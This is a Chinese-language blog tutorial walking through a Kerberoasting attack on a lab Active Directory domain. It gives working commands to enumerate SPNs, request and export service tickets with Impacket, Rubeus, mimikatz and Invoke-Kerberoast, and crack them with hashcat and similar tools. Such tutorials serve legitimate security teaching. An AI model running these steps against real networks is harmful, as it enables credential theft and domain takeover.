Kerberoasting攻击

admin 2024年5月13日01:59:03评论8 views字数 3435阅读11分27秒阅读模式

Kerberoasting攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS服务返回一个由服务哈希加密的ST服务票据给客户端。由于该ST服务票据是用服务哈希经过RC4_HMAC_MD5加密算法加密的,因此客户端在拿到该ST服务票据后可以用于本地离线爆破。如果攻击者的密码字典足够强大,则很有可能爆破出SPN链接用户的明文密码。如果该服务在域内被配置为高权限运行的话,那么攻击者可能接管整个域。整个过程最核心的点在于攻击者和KDC协商ST服务票据加密的时候,协商的是使用RC4_HMAC_MD5加密算法。而该加密算法又相对较容易被破解,因此攻击者能在本地离线爆破。

一、Kerberoasting攻击过程

Kerberoasting攻击的过程:

Kerberoasting攻击

Kerberoasting攻击在实战中主要分为如下四步:

1)查询域内注册于域用户下的SPN

2)请求指定SPN的ST服务票据

3)导出请求的ST服务票据

4)对该导出的ST服务票据进行离线爆破

二、发现SPN服务主体名称

1. RiskySPN

Import-Module .Find-PotentiallyCrackableAccounts.ps1;Find-PotentiallyCrackableAccounts -FullData -Verbose 

2. GetUserSPNs

vbs脚本的用法如下:

cscript .GetUserSPNs.vbs 

运行GetUserSPNs.vbs脚本进行探测,可以看到探测出krbtgt、hack和hack01用户下注册了SPN。

Kerberoasting攻击

3. PowerView.ps1

PowerView.ps1是PowerSpolit中Recon目录下的一个powershell脚本该脚本可以用于查询过滤出域用户下注册有SPN的用户,包括krbtgt用户,并返回用户的详细信息。

Import-Module .PowerView.ps1 Get-NetUser -SPN 

使用PowerView.ps1脚本进行探测,可以看到探测到krbtgt、hack用户下注册了SPN,并返回了krbtgt用户和test用户的详细信息。

Kerberoasting攻击

可以看到返回了krbtgt用户和hack用户的详细信息。

Kerberoasting攻击

三、请求服务票据

当过滤出注册于用户下的SPN之后,我们就需要请求这些SPN的服务票据了。可以使用以下几款工具进行SPN服务票据的请求。

1. Impacket请求

impacket中的GetUserSPNs.py脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。

将请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。 

python3 GetUserSPNs.py -request -dc-ip 10.10.10.15  beijing.rkabyss.com/hack01:P@ss1234 -outputfile hash.txt

运行GetUserSPNs.py脚本请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。

Kerberoasting攻击

将请求注册于指定用户下的SPN的服务票据并以hashcat能破解的格式保存为hash2.txt文件。 

python3 GetUserSPNs.py -request -dc-ip 10.10.10.15 beijing.rkabyss.com/hack01:P@ss1234 -outputfile hash2.txt -request-user hack01

运行GetUserSPNs.py脚本请求注册于hack用户下的SPN的服务票据并以hashcat能破解的格式保存为hash2.txt文件。

Kerberoasting攻击

2. 使用Rubeus请求

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changepw),再通过发送TGS包,然后直接打印出能使用John或hashcat爆破的Hash。

如下命令会请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件。 

Rubeus.exe kerberoast /format:john /outfile:hash.txt

运行Rubeus工具请求注册于用户下的所有SPN的服务票据并以hashcat能破解的格式保存为hash.txt文件。

Kerberoasting攻击

查看hash.txt文件。

Kerberoasting攻击

3. mimikatz请求

使用mimikaatzc存在内存中,命令如下:

请求服务票据

kerberos::ask /target:hack/PC01-PC.beijing.rkabyss.com

列出服务票据

kerberos::list 

清除所有票据

kerberos::purge

使用mimikatz请求指定SPN"hack/PC01-PC.beijing.rkabyss.com"的服务票据。

Kerberoasting攻击

三、导出服务票据

以上请求服务票据的过程中,有的工具可以直接将票据以base64形式打印出来保存为文件,而有的工具会将票据保存在内存中。所以对于保存在内存中的票据,我们可以使用工具将票据从内存中导出来。

1. 查看内存中的票据

需要查看一下内存中保存的票据。可以使用以下命令查看内存中的票据。直接在cmd窗口执行klist或者在mimikatz下面执行。

直接在cmd窗口执行 

klist 

执行klist查看内存中的票据。

Kerberoasting攻击

在mimikatz下面执行

mimikatz.exe "kerberos::list" "exit" 

使用mimikatz查看内存中的票据。

Kerberoasting攻击

查看了内存中的票据后,我们就需要将票据从内存中导出成文件了。

2. mimikatz导出票据

执行如下命令,使用mimikatz将内存中的票据导出来,执行完成后,会在mimikatz同目录下导出后缀为kirbi的票据文件。 

mimikatz.exe "kerberos::list /export" "exit" 

使用mimikatz导出票据文件。

Kerberoasting攻击

Kerberoasting攻击

3. Empire导出票据

也可以使用Empire下的Invoke-Kerberoast.ps1脚本,可以将内存中的票据以Hashcat或John能破解的格式打印出来。如下命令,将内存中的票据以Hashcat能破解的格式打印出来。 

Import-Module .Invoke-Kerberoast.ps1; Invoke-Kerberoast -outputFormat hashcat 

使用Invoke-Kerberoast.ps1脚本导出内存中的票据。

Kerberoasting攻击

四、离线破解服务票据

通过前面几步拿到了.kirbi票据文件或hashcat、John能直接破解的文件。接下来就需要本地离线破解该服务票据了。

1. kerberoast

Kerberoast是用于攻击Kerberos实现的一些工具。该工具中的tgsrepcrack.py脚本可以对mimikatz导出的后缀为.kirbi格式的票据进行爆破。 

python2 tgsrepcrack.py pass.txt 1-40a10000-Administrator@hack~PC01-PC.beijing.rkabyss.com-BEIJING.RKABYSS.COM.kirbi

使用tgsrepcrack.py脚本离线破.kirbi文件,破解出密码为P@ss1234

Kerberoasting攻击

2. tgscrack

该工具先将后缀为kirbi格式的票据转换为该工具能破解的格式,然后通过 go语言脚本指定密码文件进行爆破。 

python2 extractServiceTicketParts.py 1-40a10000-Administrator@hack~PC01-PC.beijing.rkabyss.com-BEIJING.RKABYSS.COM.kirbi > hash.txt go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

使用tgscrack工具进行爆破,破解出密码为 P@ss1234。

Kerberoasting攻击

3. Hashcat

针对impacket和Rebeus请求的票据格式,可以使用hashcat来进行爆破。

hashcat -m 13100 hash.txt pass.txt --force 

使用hashcat进行爆破。

Kerberoasting攻击

爆破出明文为P@ss1234。

Kerberoasting攻击

原文始发于微信公众号(我真不会渗透):Kerberoasting攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:59:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Kerberoasting攻击http://cn-sec.com/archives/2073884.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息